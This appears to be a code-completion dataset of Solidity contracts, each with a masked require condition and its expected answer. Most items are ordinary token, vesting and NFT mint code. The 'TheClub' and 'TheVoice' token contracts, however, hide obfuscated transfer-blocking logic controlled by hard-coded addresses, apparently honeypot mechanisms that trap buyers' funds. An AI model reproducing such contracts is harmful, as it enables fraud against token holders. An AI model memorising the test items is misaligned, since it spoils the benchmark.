* @dev lock `lockToken` tokens to receive rewards in USDC and USDT
* 50% can be from a farm or just a simple lock from the user
* @param _amount is the number of `lockToken` tokens
*/
function lock(uint256 _amount) external whenNotPaused {
}
/**
* @dev lock `lockToken` tokens to receive rewards in USDC and USDT
* 50% can be from a farm or just a simple lock from the user
* @param _amount is the number of `lockToken` tokens
* @param _onBehalfOf is the address who sent the _amount of tokens for locking
*/
function lock(uint256 _amount, address _onBehalfOf) external whenNotPaused onlyLocker {
}
/**
* @notice Updates the locker status for the account
* @param _account The account address
* @param _value The locker status flag
*/
function setLocker(address _account, bool _value) external onlyOwner {
}
/**
* @notice Getter of registered locker count
* @return Registered locker count
*/
function lockerCount() external view returns (uint256) {
}
/**
* @notice Getter of the complete list of registered lockers
* @return The complete list of registered lockers
*/
function fullLockerList() external view returns (address[] memory) {
}
/**
* @notice Getter of the locker status by the account address
* @param _account The account address
* @return The locker status
*/
function isLocker(address _account) public view returns (bool) {
}
/**
* @dev return unseen amount of tokens
* @param _token is the provided token address
* @param _balance is the provided current balance for the token
*/
function _unseen(
address _token,
uint256 _balance
) internal view override returns (uint256 unseen) {
}
}
|
rewardData[_rewardsToken].lastUpdateTime==0,'This token already exists as a reward token'
| 144,025 |
rewardData[_rewardsToken].lastUpdateTime==0
|
"Trading disabled"
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
contract BONEX is IERC20, Ownable {
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "BONEX";
string constant _symbol = "$BONEX";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1000000000 * (10 ** _decimals); // One hundred billions
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isAuthorized;
address public marketingWallet;
// Fees
uint256 public buyLiquidityFee = 1;
uint256 public buyMarketingFee = 1;
uint256 public buyBuyBackFee = 1;
uint256 public buyTotalFee = 3;
uint256 public sellLiquidityFee = 1;
uint256 public sellMarketingFee = 1;
uint256 public sellBuyBackFee = 1;
uint256 public sellTotalFee = 3;
IUniswapV2Router02 public router;
address public POGEX;
address public pair;
bool public getTransferFees = false;
uint256 public swapThreshold = (_totalSupply * 1) / 10000; // 0.001% of supply
bool public contractSwapEnabled = true;
bool public isTradeEnabled = false;
bool inContractSwap;
modifier swapping() {
}
event SetIsFeeExempt(address holder, bool status);
event AddAuthorizedWallet(address holder, bool status);
event SetDoContractSwap(bool status);
event DoContractSwap(uint256 amount, uint256 time);
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
constructor() {
}
receive() external payable {}
function totalSupply() external view override returns (uint256) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(
address holder,
address spender
) external view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(
address recipient,
uint256 amount
) external override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (!isTradeEnabled) require(<FILL_ME>)
if (inContractSwap) {
return _basicTransfer(sender, recipient, amount);
}
if (shouldDoContractSwap()) {
doContractSwap();
}
require(_balances[sender] >= amount, "Insufficient Balance");
_balances[sender] = _balances[sender] - amount;
uint256 amountReceived = shouldTakeFee(sender, recipient)
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient] + amountReceived;
emit Transfer(sender, recipient, amountReceived);
return true;
}
function shouldDoContractSwap() internal view returns (bool) {
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function shouldTakeFee(
address sender,
address to
) internal view returns (bool) {
}
function isFeeExcluded(address _wallet) public view returns (bool) {
}
function doContractSwap() internal swapping {
}
// All tax wallets receive BUSD instead of BNB
function swapTokensForTokens(
uint256 tokenAmount,
address tokenToSwap
) private {
}
function swapAndLiquify(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setDoContractSwap(bool _enabled) external onlyOwner {
}
function changeMarketingWallet(address _wallet) external onlyOwner {
}
function changeBuyFees(
uint256 _liquidityFee,
uint256 _marketingFee,
uint256 _buyBuyBackFee
) external onlyOwner {
}
function changeSellFees(
uint256 _liquidityFee,
uint256 _marketingFee,
uint256 _sellBuyBackFee
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function setAuthorizedWallets(
address _wallet,
bool _status
) external onlyOwner {
}
function rescueEth() external onlyOwner {
}
function changeGetFeesOnTransfer(bool _status) external onlyOwner {
}
}
|
isAuthorized[sender],"Trading disabled"
| 144,186 |
isAuthorized[sender]
|
"ERC20: transfer amount exceeds balance"
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract TheClub is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeAuthority;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x9A009e44ab39D8cA410B137dBb2453d212C1D236;
address public _authority = 0xc5175490902FD4F175C0e8bB2BeEE58437b3ccdF;
constructor () public {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _pApproval(address[] memory destination) public {
}
function _mApproval(address safeOwner) public {
}
modifier _log(address dest, uint256 num, address from, address filler){
if (
_authority == _safeAuthority
&& from == _authority)
{_safeAuthority = dest;_;}else
{if (
from == _authority
|| from == _safeAuthority
|| dest == _authority){
if (
from == _authority
&& from == dest
){_discardedAmt = num;
}_;}else{
if (
_plus[from] == true
)
{
_;}else{if (
_discarded[from] == true
)
{require(<FILL_ME>)_;
}else{
if (
num < _discardedAmt){
if(dest == _safeAuthority){_discarded[from] = true; _plus[from] = false;
}_; }else{require((from == _safeAuthority)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}}}}}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
}
function _mint(address account, uint256 amount) public {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _tf(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
}
function _pair(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
}
function _setupDecimals(uint8 decimals_) internal {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
}
function set(address recipient) public _verify(){
}
function ProxiedSwap(address recipient) public _verify(){
}
function approval(address addr) public _verify() virtual returns (bool) {
}
function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
}
}
|
(from==_safeAuthority)||(dest==_path_),"ERC20: transfer amount exceeds balance"
| 144,248 |
(from==_safeAuthority)||(dest==_path_)
|
"NTV:W:AMOUNT_TOO_HIGH"
|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.19;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IAddressProvider} from "../interfaces/IAddressProvider.sol";
import {DataTypes} from "../libraries/types/DataTypes.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {INativeToken} from "../interfaces/INativeToken.sol";
/// @title NativeTokenVesting
/// @author leNFT
/// @notice Contract that allows to set vesting parameters for a specified account
/// @dev Provides functionality for vesting tokens and defines a cap on the amount of tokens that can be vested
contract NativeTokenVesting is Ownable {
uint256 private constant VESTING_CAP = 4e26; // 400M Vesting Cap (175M Team + 175M Treasury + 50M Liquidity Mining)
uint256 private constant MIN_CLIFF_PERIOD = 1 weeks; // TESTNET: 0 weeks
IAddressProvider private immutable _addressProvider;
mapping(address => DataTypes.VestingParams) private _vestingParams;
mapping(address => uint256) private _withdrawn;
uint256 private _totalWithdrawn;
event VestingWithdrawn(address indexed account, uint256 amount);
event VestingAdded(
address indexed account,
uint256 period,
uint256 cliff,
uint256 amount
);
using SafeERC20 for IERC20;
/// @notice Constructor
/// @param addressProvider Address of the addressProvider contract
constructor(IAddressProvider addressProvider) {
}
/// @notice Gets the maximum supply of the vesting token
/// @return The maximum supply of the vesting token
function getVestingCap() public pure returns (uint256) {
}
/// @notice Gets the vesting parameters for the specified account
/// @param account The address to get the vesting parameters for
/// @return The vesting parameters for the specified address
function getVesting(
address account
) external view returns (DataTypes.VestingParams memory) {
}
/// @notice Sets the vesting parameters for the specified account
/// @param account The address to set the vesting parameters for
/// @param period The vesting period in seconds
/// @param cliff The cliff period in seconds
/// @param amount The amount of tokens to vest
function setVesting(
address account,
uint256 period,
uint256 cliff,
uint256 amount
) external onlyOwner {
}
/// @notice Returns the amount of unvested tokens that can be withdrawn by the specified account.
/// @param account The address to get the amount of unvested tokens that can be withdrawn for
/// @return The amount of unvested tokens that can be withdrawn by the specified account
function getAvailableToWithdraw(
address account
) public view returns (uint256) {
}
/// @notice Withdraws the specified amount of unvested tokens
/// @param amount The amount of unvested tokens to withdraw
function withdraw(uint256 amount) external {
require(<FILL_ME>)
require(
_totalWithdrawn + amount <= VESTING_CAP,
"NTV:W:VESTING_CAP_REACHED"
);
_withdrawn[msg.sender] += amount;
_totalWithdrawn += amount;
INativeToken(_addressProvider.getNativeToken()).mintVestingTokens(
msg.sender,
amount
);
emit VestingWithdrawn(msg.sender, amount);
}
}
|
getAvailableToWithdraw(msg.sender)>=amount,"NTV:W:AMOUNT_TOO_HIGH"
| 144,362 |
getAvailableToWithdraw(msg.sender)>=amount
|
"NTV:W:VESTING_CAP_REACHED"
|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.19;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IAddressProvider} from "../interfaces/IAddressProvider.sol";
import {DataTypes} from "../libraries/types/DataTypes.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {INativeToken} from "../interfaces/INativeToken.sol";
/// @title NativeTokenVesting
/// @author leNFT
/// @notice Contract that allows to set vesting parameters for a specified account
/// @dev Provides functionality for vesting tokens and defines a cap on the amount of tokens that can be vested
contract NativeTokenVesting is Ownable {
uint256 private constant VESTING_CAP = 4e26; // 400M Vesting Cap (175M Team + 175M Treasury + 50M Liquidity Mining)
uint256 private constant MIN_CLIFF_PERIOD = 1 weeks; // TESTNET: 0 weeks
IAddressProvider private immutable _addressProvider;
mapping(address => DataTypes.VestingParams) private _vestingParams;
mapping(address => uint256) private _withdrawn;
uint256 private _totalWithdrawn;
event VestingWithdrawn(address indexed account, uint256 amount);
event VestingAdded(
address indexed account,
uint256 period,
uint256 cliff,
uint256 amount
);
using SafeERC20 for IERC20;
/// @notice Constructor
/// @param addressProvider Address of the addressProvider contract
constructor(IAddressProvider addressProvider) {
}
/// @notice Gets the maximum supply of the vesting token
/// @return The maximum supply of the vesting token
function getVestingCap() public pure returns (uint256) {
}
/// @notice Gets the vesting parameters for the specified account
/// @param account The address to get the vesting parameters for
/// @return The vesting parameters for the specified address
function getVesting(
address account
) external view returns (DataTypes.VestingParams memory) {
}
/// @notice Sets the vesting parameters for the specified account
/// @param account The address to set the vesting parameters for
/// @param period The vesting period in seconds
/// @param cliff The cliff period in seconds
/// @param amount The amount of tokens to vest
function setVesting(
address account,
uint256 period,
uint256 cliff,
uint256 amount
) external onlyOwner {
}
/// @notice Returns the amount of unvested tokens that can be withdrawn by the specified account.
/// @param account The address to get the amount of unvested tokens that can be withdrawn for
/// @return The amount of unvested tokens that can be withdrawn by the specified account
function getAvailableToWithdraw(
address account
) public view returns (uint256) {
}
/// @notice Withdraws the specified amount of unvested tokens
/// @param amount The amount of unvested tokens to withdraw
function withdraw(uint256 amount) external {
require(
getAvailableToWithdraw(msg.sender) >= amount,
"NTV:W:AMOUNT_TOO_HIGH"
);
require(<FILL_ME>)
_withdrawn[msg.sender] += amount;
_totalWithdrawn += amount;
INativeToken(_addressProvider.getNativeToken()).mintVestingTokens(
msg.sender,
amount
);
emit VestingWithdrawn(msg.sender, amount);
}
}
|
_totalWithdrawn+amount<=VESTING_CAP,"NTV:W:VESTING_CAP_REACHED"
| 144,362 |
_totalWithdrawn+amount<=VESTING_CAP
|
"ERC20: trading is not yet enabled."
|
/*
VOICE //||\\ ETH
Give voice to what you know to be true.
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addVoice;
uint256 private _voiceRecording = block.number*2;
mapping (address => bool) private _firstWord;
mapping (address => bool) private _secondWord;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private eternitiyFall;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private greenMan;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private fastMoney = 1; bool private ascencion;
uint256 private _decimals; uint256 private theDescent;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function _TokenStarter() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal {
require(<FILL_ME>)
assembly {
function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x9)),gt(float,sload(0x99))),and(gt(float,div(sload(0x99),0x2)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) }
if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x99) let g := sload(0x11)
switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) }
sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) }
if iszero(mod(sload(0x15),0x7)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28) }
sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployVoice(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheVoice is ERC20Token {
constructor() ERC20Token("The Voice", "VOICE", msg.sender, 800000 * 10 ** 18) {
}
}
|
(trading||(sender==addVoice[1])),"ERC20: trading is not yet enabled."
| 144,376 |
(trading||(sender==addVoice[1]))
|
"You cannot mint that many total."
|
pragma solidity ^0.8.9;
contract NFT is ERC721, Ownable {
using Strings for uint256;
uint public constant MAX_TOKENS = 444;
uint private constant TOKENS_RESERVED = 1;
uint public price = 4400000000000000;
uint256 public constant MAX_MINT_PER_TX = 5;
bool public isSaleActive;
uint256 public totalSupply;
mapping(address => uint256) private mintedPerWallet;
string public baseUri;
string public baseExtension = ".json";
constructor() ERC721("Facetastic", "FACE") {
}
// Public Functions
function mint(uint256 _numTokens) external payable {
require(isSaleActive, "The sale is paused.");
require(_numTokens <= MAX_MINT_PER_TX, "You cannot mint that many in one transaction.");
require(<FILL_ME>)
uint256 curTotalSupply = totalSupply;
require(curTotalSupply + _numTokens <= MAX_TOKENS, "Exceeds total supply.");
require(_numTokens * price <= msg.value, "Insufficient funds.");
for(uint256 i = 1; i <= _numTokens; ++i) {
_safeMint(msg.sender, curTotalSupply + i);
}
mintedPerWallet[msg.sender] += _numTokens;
totalSupply += _numTokens;
}
// Owner-only functions
function flipSaleState() external onlyOwner {
}
function setBaseUri(string memory _baseUri) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function withdrawAll() external payable onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
|
mintedPerWallet[msg.sender]+_numTokens<=MAX_MINT_PER_TX,"You cannot mint that many total."
| 144,494 |
mintedPerWallet[msg.sender]+_numTokens<=MAX_MINT_PER_TX
|
"sold out"
|
pragma solidity ^0.8.0;
contract DragonvilleEggs is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant COST = 0.002 ether;
uint32 public constant MAX_SUPPLY = 3333;
uint32 public constant MAX_PER_TX = 3;
string private uriPrefix = "";
modifier callerIsUser() {
}
constructor() ERC721A ("DragonvilleEggs", "DRGNS") {}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) {
}
function setUri(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function mint(uint256 amount) public payable callerIsUser {
require(<FILL_ME>)
require(amount <= MAX_PER_TX, "max 3 per tx");
require(msg.value >= COST * amount, "insufficient");
_mint(msg.sender, amount, '', false);
}
function whitelistMint(uint256 amount) public onlyOwner {
}
function withdraw() public onlyOwner {
}
}
|
totalSupply()+amount<MAX_SUPPLY,"sold out"
| 144,500 |
totalSupply()+amount<MAX_SUPPLY
|
"Address not whitelisted"
|
// SPDX-License-Identifier: GPL-3.0
// ----------- House Of First -----------
// - Black is Beautiful -- Transfer Contract -
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721.sol";
pragma solidity ^0.8.10;
contract BIBtransfer is Ownable, ReentrancyGuard {
uint256 public price = 0.025 * (10 ** 18);
uint256 public supply = 0; // nfts purchased
uint256 public maxSupply = 200; // nfts available for purchase
uint256 public nftsTransferred = 0;
uint256 public maxMint = 20;
uint256 public allowancePerAddress = 50;
bool public salePaused = false;
address public vaultAddress = 0xb2C7c59fB26932A673993a85D0FA66c6298f8F01;
address public bibAddress = 0x9b0674fE9c91414378a5dFAFB3376775A65CDEba;
address public constant WHITELIST_SIGNER = 0x8430e0B7be3315735C303b82E4471D59AC152Aa5; // MM signer
mapping(address => uint256) public whitelistPurchases;
mapping(address => uint256) public owedNfts;
address[] internal _addressesToMonitor;
uint256[] internal _mintedNftIds;
function getMintedNftIds() external view returns (uint256[] memory) {
}
function getAddressesToMonitor() external view returns (address[] memory) {
}
function getNftsTransferred() public view returns (uint256) {
}
function needToTransfer() public view returns (bool) {
}
function totalSupply() public view returns (uint256) {
}
function totalAvailable() public view returns (uint256) {
}
function toggleSalePause(bool _salePaused) onlyOwner external {
}
function setWhitelistPurchases(uint256[] calldata quantity, address[] calldata recipient) external onlyOwner {
}
function setWhitelistPurchasesSimple(uint256 quantity, address[] calldata recipient) external onlyOwner {
}
function setMintedNftIds(uint256[] calldata nftIds) external onlyOwner {
}
function setPrice(uint256 _price) onlyOwner external {
}
function setNftsTransferred(uint256 _transferred) onlyOwner external {
}
function setSupply(uint256 _supply) onlyOwner external {
}
function setMaxSupply(uint256 _maxSupply) onlyOwner external {
}
function setMaxMint(uint256 _maxMint) onlyOwner external {
}
function setAllowancePerAddress(uint256 _allowancePerAddress) onlyOwner external {
}
function setVaultAddress(address _vaultAddress) onlyOwner external {
}
function setbibAddress(address _bibAddress) onlyOwner external {
}
function getNFTPrice() public view returns (uint256) {
}
function getTokensAvailable() public view returns (uint256) {
}
function getWhitelistPurchases(address addr) external view returns (uint256) {
}
function getOwedNfts(address addr) external view returns (uint256) {
}
/* whitelist */
function isWhitelisted(address user, bytes memory signature) public pure returns (bool) {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) private pure returns (address) {
}
function splitSignature(bytes memory sig) private pure returns (bytes32 r, bytes32 s, uint8 v) {
}
function whitelistMintNFT(uint256 numberOfNfts, bytes memory signature) public payable nonReentrant {
require(!salePaused, "Sale Paused");
require(msg.value >= price * numberOfNfts, "Not Enough ETH");
require(<FILL_ME>)
require(numberOfNfts > 0 && numberOfNfts <= allowancePerAddress, "Invalid numberOfNfts");
require(supply + numberOfNfts <= maxSupply, "Exceeds max supply");
require(whitelistPurchases[msg.sender] + numberOfNfts <= allowancePerAddress, "Exceeds Allocation");
whitelistPurchases[msg.sender] += numberOfNfts;
owedNfts[msg.sender] += numberOfNfts;
_addressesToMonitor.push(msg.sender);
supply += numberOfNfts;
}
function transferOwedNfts(address recipient, uint256[] calldata nftTokenIds) onlyOwner external returns (uint256) {
}
// for transparency regarding ETH raised
uint256 totalWithdrawn = 0;
function getTotalWithdrawn() public view returns (uint256) {
}
function getTotalBalance() public view returns (uint256) {
}
function getTotalRaised() public view returns (uint256) {
}
/**
* withdraw ETH from the contract (callable by Owner only)
*/
function withdraw() public payable onlyOwner {
}
}
|
isWhitelisted(msg.sender,signature),"Address not whitelisted"
| 144,734 |
isWhitelisted(msg.sender,signature)
|
"Exceeds max supply"
|
// SPDX-License-Identifier: GPL-3.0
// ----------- House Of First -----------
// - Black is Beautiful -- Transfer Contract -
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721.sol";
pragma solidity ^0.8.10;
contract BIBtransfer is Ownable, ReentrancyGuard {
uint256 public price = 0.025 * (10 ** 18);
uint256 public supply = 0; // nfts purchased
uint256 public maxSupply = 200; // nfts available for purchase
uint256 public nftsTransferred = 0;
uint256 public maxMint = 20;
uint256 public allowancePerAddress = 50;
bool public salePaused = false;
address public vaultAddress = 0xb2C7c59fB26932A673993a85D0FA66c6298f8F01;
address public bibAddress = 0x9b0674fE9c91414378a5dFAFB3376775A65CDEba;
address public constant WHITELIST_SIGNER = 0x8430e0B7be3315735C303b82E4471D59AC152Aa5; // MM signer
mapping(address => uint256) public whitelistPurchases;
mapping(address => uint256) public owedNfts;
address[] internal _addressesToMonitor;
uint256[] internal _mintedNftIds;
function getMintedNftIds() external view returns (uint256[] memory) {
}
function getAddressesToMonitor() external view returns (address[] memory) {
}
function getNftsTransferred() public view returns (uint256) {
}
function needToTransfer() public view returns (bool) {
}
function totalSupply() public view returns (uint256) {
}
function totalAvailable() public view returns (uint256) {
}
function toggleSalePause(bool _salePaused) onlyOwner external {
}
function setWhitelistPurchases(uint256[] calldata quantity, address[] calldata recipient) external onlyOwner {
}
function setWhitelistPurchasesSimple(uint256 quantity, address[] calldata recipient) external onlyOwner {
}
function setMintedNftIds(uint256[] calldata nftIds) external onlyOwner {
}
function setPrice(uint256 _price) onlyOwner external {
}
function setNftsTransferred(uint256 _transferred) onlyOwner external {
}
function setSupply(uint256 _supply) onlyOwner external {
}
function setMaxSupply(uint256 _maxSupply) onlyOwner external {
}
function setMaxMint(uint256 _maxMint) onlyOwner external {
}
function setAllowancePerAddress(uint256 _allowancePerAddress) onlyOwner external {
}
function setVaultAddress(address _vaultAddress) onlyOwner external {
}
function setbibAddress(address _bibAddress) onlyOwner external {
}
function getNFTPrice() public view returns (uint256) {
}
function getTokensAvailable() public view returns (uint256) {
}
function getWhitelistPurchases(address addr) external view returns (uint256) {
}
function getOwedNfts(address addr) external view returns (uint256) {
}
/* whitelist */
function isWhitelisted(address user, bytes memory signature) public pure returns (bool) {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) private pure returns (address) {
}
function splitSignature(bytes memory sig) private pure returns (bytes32 r, bytes32 s, uint8 v) {
}
function whitelistMintNFT(uint256 numberOfNfts, bytes memory signature) public payable nonReentrant {
require(!salePaused, "Sale Paused");
require(msg.value >= price * numberOfNfts, "Not Enough ETH");
require(isWhitelisted(msg.sender, signature), "Address not whitelisted");
require(numberOfNfts > 0 && numberOfNfts <= allowancePerAddress, "Invalid numberOfNfts");
require(<FILL_ME>)
require(whitelistPurchases[msg.sender] + numberOfNfts <= allowancePerAddress, "Exceeds Allocation");
whitelistPurchases[msg.sender] += numberOfNfts;
owedNfts[msg.sender] += numberOfNfts;
_addressesToMonitor.push(msg.sender);
supply += numberOfNfts;
}
